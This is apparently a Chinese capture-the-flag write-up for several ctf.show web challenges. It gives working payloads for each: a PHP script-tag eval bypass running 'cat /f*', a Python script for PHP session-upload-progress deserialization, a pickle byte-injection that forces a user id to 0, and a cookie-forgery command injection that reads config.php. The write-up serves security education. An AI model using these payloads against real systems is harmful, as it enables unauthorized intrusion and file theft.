easy_eval
利用script标签绕过code=<script language="php">system("cat /f*");</script>
不过只有php5可以用
剪刀石头布
考查session反序列化漏洞。
不同的session处理器会导致反序列化漏洞,具体的可以参考下这篇文章https://www.jb51.net/article/107101.htm
题目中通过ini_set将session的处理器改为了php,而在phpinfo中可以看到默认的为
php_serialize
另外需要注意的点就是session.upload_progress_cleanup为off,也就是说我们通过session.upload_progess强制上传session文件,不会被清理掉,那么直接上传再来调用该session文件就可以触发反序列化了。
payload
import requests
url="http://cd46b01d-0aa7-4f0a-aa0e-8b3eced09e93.challenge.ctf.show/"
sess="yu22x"
data={'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'}
files={'file':'1'}
r = requests.post(url,data=data,files=files,cookies={'PHPSESSID':'yu22x'})
print(r.text)
baby_pickle
本地搭一下就很容易看出来了。
假设我们首先存入一个name为abc的用户,在对其进行更改时,可以看到本地打印出的数据
只要把这个地方改成0,然后访问/dacaiji?name=xxx即可得到flag
按照正常思路,做法如下
import requests
import base64
url="http://127.0.0.1:8888/"
requests.get(url+'?name=1')
requests.get(url+'change?name='+base64.b64encode(b'1').decode()+'&newname='+base64.b64encode(b"0").decode())
r = requests.get(url+'dacaiji?name=1')
print(r.text)
本地测试是可以成功的,但是要保证是第一次,要不然后面的id就不是1了。
不过在靶机上测试就没成功,所以只能用其他的方法了。
我们直接把name后面的都给改掉b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVabc\nsVid\nI1\nsb.'
我们把上述内容中的abc替换成abc\nsVid\nI0\nsb.
那么最终的结果为b'ccopy_reg\n_reconstructor\n(c__main__\nRookie\nc__builtin__\nobject\nNtR(dVname\nVabc\nsVid\nI0\nsb.'
成功把id污染成了0。
payload
import requests
import base64
url="http://0948181b-efd1-4377-b35d-9e465efc1a64.challenge.ctf.show/"
requests.get(url+'?name=abc')
requests.get(url+'change?name='+base64.b64encode(b'abc').decode()+'&newname='+base64.b64encode(b"abc\nsVid\nI0\nsb.").decode())
r = requests.get(url+'dacaiji?name=abc')
print(r.text)
repairman
来个非预期吧
可以看到其实没有覆盖掉$config['secret']
所以md5('admin'.$config['secret']):
是个固定值da53eb34c1bc6ce7bbfcedf200148106
直接改完cookie然后post传cmd就可以了cmd=cat config.php >a.txt
预期解就是parse_str变量覆盖了config[secret]=yu22x
cookie: secret=3601e2335c93b2404eab1319d0f4d4a3
cmd=cat config.php >a.txt